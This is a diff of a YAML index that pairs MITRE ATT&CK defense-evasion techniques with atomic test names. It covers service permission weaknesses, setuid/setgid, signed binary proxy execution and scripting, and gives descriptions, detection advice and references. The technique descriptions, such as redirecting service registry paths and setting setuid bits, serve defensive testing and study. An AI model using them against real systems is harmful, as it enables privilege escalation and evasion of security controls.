+      - url: https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234
+        description: Microsoft. (n.d.). Start your PC in safe mode in Windows 10.
+          Retrieved June 23, 2021.
+        source_name: Microsoft Safe Mode
+      - url: https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
+        description: Sophos. (2019, December 9). Snatch ransomware reboots PCs into
+          Safe Mode to bypass protection. Retrieved June 23, 2021.
+        source_name: Sophos Snatch Ransomware 2019
+      - url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit
+        description: Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.
+        source_name: Microsoft bcdedit 2021
+      - url: https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise
+        description: 'Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode
+          to Domain Compromise. Retrieved June 23, 2021.'
+        source_name: CyberArk Labs Safe Mode 2016
+      - url: https://www.cybereason.com/blog/medusalocker-ransomware
+        description: Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker
+          Ransomware. Retrieved June 23, 2021.
+        source_name: Cybereason Nocturnus MedusaLocker 2020
+      - url: https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/
+        description: Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows
+          Safe Mode’ encryption mode. Retrieved June 23, 2021.
+        source_name: BleepingComputer REvil 2021
+      - url: https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg
+        description: Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August
+          30, 2021.
+        source_name: Microsoft Bootcfg
     atomic_tests: []
   T1064:
     technique:
-      revoked: false
-      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Scripting
+      x_mitre_version: '1.0'
+      modified: '2020-03-30T13:39:24.852Z'
+      created: '2017-05-31T21:30:51.733Z'
+      x_mitre_deprecated: true
+      id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
+      revoked: false
+      x_mitre_defense_bypassed:
+      - Process whitelisting
+      - Data Execution Prevention
+      - Exploit Prevention
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         **This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**
 
@@ -37751,61 +38955,52 @@ defense-evasion:
         Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.
 
         Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1064
-        url: https://attack.mitre.org/techniques/T1064
-      - source_name: Metasploit_Ref
-        description: Metasploit. (n.d.). Retrieved December 4, 2014.
-        url: http://www.metasploit.com
-      - url: https://www.veil-framework.com/framework/
-        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
-        source_name: Veil_Ref
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
-      - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
-        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
-          of National Security Think Tanks. Retrieved November 12, 2014.'
-        source_name: Alperovitch 2014
-      - url: https://www.uperesia.com/analyzing-malicious-office-documents
-        description: Felix. (2016, September). Analyzing Malicious Office Documents.
-          Retrieved April 11, 2018.
-        source_name: Uperesia Malicious Office Documents
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2020-03-30T13:39:24.852Z'
-      created: '2017-05-31T21:30:51.733Z'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
 
         Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
 
         Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
-      x_mitre_defense_bypassed:
-      - Process whitelisting
-      - Data Execution Prevention
-      - Exploit Prevention
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_deprecated: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1064
+        external_id: T1064
+        source_name: mitre-attack
+      - url: http://www.metasploit.com
+        description: Metasploit. (n.d.). Retrieved December 4, 2014.
+        source_name: Metasploit_Ref
+      - source_name: Veil_Ref
+        description: Veil Framework. (n.d.). Retrieved December 4, 2014.
+        url: https://www.veil-framework.com/framework/
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
+      - source_name: Alperovitch 2014
+        description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting
+          of National Security Think Tanks. Retrieved November 12, 2014.'
+        url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/
+      - source_name: Uperesia Malicious Office Documents
+        description: Felix. (2016, September). Analyzing Malicious Office Documents.
+          Retrieved April 11, 2018.
+        url: https://www.uperesia.com/analyzing-malicious-office-documents
     atomic_tests: []
   T1574.010:
     technique:
-      created: '2020-03-12T20:43:53.998Z'
+      type: attack-pattern
       modified: '2020-09-16T19:10:04.262Z'
+      name: Services File Permissions Weakness
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      x_mitre_version: '1.0'
+      created: '2020-03-12T20:43:53.998Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -37813,25 +39008,26 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd
       description: |-
         Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
 
         Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
-      name: Services File Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.010
-        url: https://attack.mitre.org/techniques/T1574/010
-      - external_id: CAPEC-17
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/17.html
-      x_mitre_platforms:
-      - Windows
+      x_mitre_contributors:
+      - Travis Smith, Tripwire
+      - Stefan Kanthak
+      x_mitre_effective_permissions:
+      - SYSTEM
+      - Administrator
+      - User
       x_mitre_detection: "Look for changes to binaries and service executables that
         may normally occur during software updates. If an executable is written, renamed,
         and/or moved to match an existing service executable, it could be detected
@@ -37840,28 +39036,29 @@ defense-evasion:
         for abnormal process call trees from typical processes and services and for
         execution of other commands that could relate to Discovery or other adversary
         techniques. "
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      - Administrator
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      x_mitre_contributors:
-      - Travis Smith, Tripwire
-      - Stefan Kanthak
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/010
+        external_id: T1574.010
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/17.html
+        external_id: CAPEC-17
+        source_name: capec
     atomic_tests: []
   T1574.011:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Services Registry Permissions Weakness
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Service: Service Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.058Z'
       created: '2020-03-13T11:42:14.444Z'
-      modified: '2020-09-16T19:07:48.590Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
@@ -37869,81 +39066,76 @@ defense-evasion:
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      type: attack-pattern
       id: attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c
-      description: "Adversaries may execute their own malicious payloads by hijacking
-        the Registry entries used by services. Adversaries may use flaws in the permissions
-        for registry to redirect from the originally specified executable to one that
-        they control, in order to launch their own code at Service start.  Windows
-        stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.
-        The information stored under a service's Registry keys can be manipulated
-        to modify a service's execution parameters through tools such as the service
-        controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001),
-        or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys
-        is controlled through Access Control Lists and permissions. (Citation: Registry
-        Key Security)\n\nIf the permissions for users and groups are not properly
-        set and allow access to the Registry keys for a service, then adversaries
-        can change the service binPath/ImagePath to point to a different executable
-        under their control. When the service starts or is restarted, then the adversary-controlled
-        program will execute, allowing the adversary to gain persistence and/or privilege
-        escalation to the account context the service is set to execute under (local/domain
-        account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also
-        alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>)
-        that may be executed in an elevated context anytime the service fails or is
-        intentionally corrupted.(Citation: Kansa Service related collectors)(Citation:
-        Tweet Registry Perms Weakness) "
-      name: Services Registry Permissions Weakness
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574.011
-        url: https://attack.mitre.org/techniques/T1574/011
-      - external_id: CAPEC-478
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/478.html
-      - source_name: Registry Key Security
-        url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
-        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
-          Retrieved March 16, 2017.
-      - source_name: Kansa Service related collectors
-        url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
-        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
-          analysis. Retrieved October 10, 2019.'
-      - source_name: Tweet Registry Perms Weakness
-        url: https://twitter.com/r0wdy_/status/936365549553991680
-        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
-          April 9, 2018."
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
+      x_mitre_defense_bypassed:
+      - Application control
       x_mitre_platforms:
       - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
+      description: |-
+        Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
+
+        If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+
+        Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the <code>FailureCommand</code> key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+        The <code>Performance</code> key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the <code>Performance</code> key is not already present and if an adversary-controlled user has the <code>Create Subkey</code> permission, adversaries may create the <code>Performance</code> key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+        Adversaries may also add the <code>Parameters</code> key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll</code>.(Citation: malware_hides_service)
+      x_mitre_effective_permissions:
+      - SYSTEM
       x_mitre_contributors:
       - Travis Smith, Tripwire
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Service: Service Metadata'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
 
         Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_defense_bypassed:
-      - Application control
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1574/011
+        external_id: T1574.011
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/478.html
+        external_id: CAPEC-478
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN
+        description: Microsoft. (2018, May 31). Registry Key Security and Access Rights.
+          Retrieved March 16, 2017.
+        source_name: Registry Key Security
+      - url: https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/
+        description: Lawrence Abrams. (2004, September 10). How Malware hides and
+          is installed as a Service. Retrieved August 30, 2021.
+        source_name: malware_hides_service
+      - url: https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html
+        description: 'Hull, D.. (2014, May 3). Kansa: Service related collectors and
+          analysis. Retrieved October 10, 2019.'
+        source_name: Kansa Service related collectors
+      - url: https://twitter.com/r0wdy_/status/936365549553991680
+        description: "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved
+          April 9, 2018."
+        source_name: Tweet Registry Perms Weakness
+      - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree
+        description: Microsoft. (2021, August 5). HKLM\SYSTEM\CurrentControlSet\Services
+          Registry Tree. Retrieved August 25, 2021.
+        source_name: microsoft_services_registry_tree
+      - url: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
+        description: Clément Labro. (2020, November 12). Windows RpcEptMapper Service
+          Insecure Registry Permissions EoP. Retrieved August 25, 2021.
+        source_name: insecure_reg_perms
+      - url: https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost
+        description: Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September
+          2, 2021.
+        source_name: troj_zegost
+      - url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
+        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
+          Retrieved March 13, 2020.
+        source_name: Autoruns for Windows
       identifier: T1574.011
     atomic_tests:
     - name: Service Registry Permissions Weakness
@@ -38007,51 +39199,51 @@ defense-evasion:
         name: command_prompt
   T1548.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548.001
-        url: https://attack.mitre.org/techniques/T1548/001
-      - url: http://man7.org/linux/man-pages/man2/setuid.2.html
-        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
-          Retrieved September 21, 2018.
-        source_name: setuid man page
-      - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
-        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
-          is hungry for credentials. Retrieved July 3, 2017.
-        source_name: OSX Keydnap malware
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Setuid and Setgid
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T00:43:58.149Z'
+      created: '2020-01-30T14:11:41.212Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
       description: |-
         An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges.
 
         Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.
 
         Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).
-      id: attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-27T00:43:58.149Z'
-      created: '2020-01-30T14:11:41.212Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitor the file system for files that have the setuid or
         setgid bits set. Monitor for execution of utilities, like chmod, and their
         command-line arguments to look for setuid or setguid bits being set.
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'File: File Metadata'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548/001
+        external_id: T1548.001
+        source_name: mitre-attack
+      - source_name: setuid man page
+        description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual.
+          Retrieved September 21, 2018.
+        url: http://man7.org/linux/man-pages/man2/setuid.2.html
+      - source_name: OSX Keydnap malware
+        description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware
+          is hungry for credentials. Retrieved July 3, 2017.
+        url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
       identifier: T1548.001
     atomic_tests:
     - name: Make and modify binary from C source
@@ -38175,44 +39367,10 @@ defense-evasion:
         elevation_required: true
   T1218:
     technique:
-      id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Signed Binary Proxy Execution
-      description: Adversaries may bypass process and/or signature-based defenses
-        by proxying execution of malicious content with signed binaries. Binaries
-        signed with trusted digital certificates can execute on Windows systems protected
-        by digital signature validation. Several Microsoft signed binaries that are
-        default on Windows installations can be used to proxy execution of other files.
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1218
-        url: https://attack.mitre.org/techniques/T1218
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-01-20T18:12:12.134Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_detection: |-
-        Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-
-        Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Application control
-      - Digital Certificate Validation
-      x_mitre_contributors:
-      - Nishan Maharjan, @loki248
-      - Hans Christoffer Gaardløs
-      - Praetorian
+      name: Signed Binary Proxy Execution
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'File: File Creation'
@@ -38222,6 +39380,40 @@ defense-evasion:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Network Traffic: Network Connection Creation'
       x_mitre_version: '2.1'
+      modified: '2021-10-16T00:13:19.412Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: Adversaries may bypass process and/or signature-based defenses
+        by proxying execution of malicious content with signed binaries. Binaries
+        signed with trusted digital certificates can execute on Windows systems protected
+        by digital signature validation. Several Microsoft signed binaries that are
+        default on Windows installations can be used to proxy execution of other files.
+      x_mitre_contributors:
+      - Nishan Maharjan, @loki248
+      - Hans Christoffer Gaardløs
+      - Praetorian
+      x_mitre_detection: |-
+        Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
+
+        Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1218
+        external_id: T1218
+        source_name: mitre-attack
       identifier: T1218
     atomic_tests:
     - name: mavinject - Inject DLL into running process
@@ -38555,49 +39747,49 @@ defense-evasion:
         name: command_prompt
   T1216:
     technique:
-      id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Signed Script Proxy Execution
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-09-01T00:57:01.576Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe
+      x_mitre_defense_bypassed:
+      - Application control
+      - Digital Certificate Validation
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: 'Adversaries may use scripts signed with trusted certificates to
         proxy execution of malicious files. Several Microsoft signed scripts that
         are default on Windows installations can be used to proxy execution of other
         files. This behavior may be abused by adversaries to execute malicious files
         that could bypass application control and signature validation on systems.(Citation:
         GitHub Ultimate AppLocker Bypass List)'
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1216
-        url: https://attack.mitre.org/techniques/T1216
-      - url: https://github.com/api0cradle/UltimateAppLockerByPassList
-        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
-          April 10, 2018.
-        source_name: GitHub Ultimate AppLocker Bypass List
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-06-20T22:39:47.559Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: Monitor script processes, such as `cscript`, and command-line
         parameters for scripts like PubPrn.vbs that may be used to proxy execution
         of malicious files.
-      x_mitre_defense_bypassed:
-      - Application control
-      - Digital Certificate Validation
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Script: Script Execution'
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1216
+        external_id: T1216
+        source_name: mitre-attack
+      - source_name: GitHub Ultimate AppLocker Bypass List
+        description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved
+          April 10, 2018.
+        url: https://github.com/api0cradle/UltimateAppLockerByPassList
       identifier: T1216
     atomic_tests:
     - name: SyncAppvPublishingServer Signed Script PowerShell Command Execution
@@ -38640,24 +39832,27 @@ defense-evasion:
         name: command_prompt
   T1027.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1027.002
-        url: https://attack.mitre.org/techniques/T1027/002
-      - external_id: CAPEC-570
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/570.html
-      - source_name: ESET FinFisher Jan 2018
-        url: https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf
-        description: Kafka, F. (2018, January). ESET's Guide to Deobfuscating and
-          Devirtualizing FinFisher. Retrieved August 12, 2019.
-      - url: http://en.wikipedia.org/wiki/Executable_compression
-        description: Executable compression. (n.d.). Retrieved December 4, 2014.
-        source_name: Wikipedia Exe Compression
       object_marking_refs:
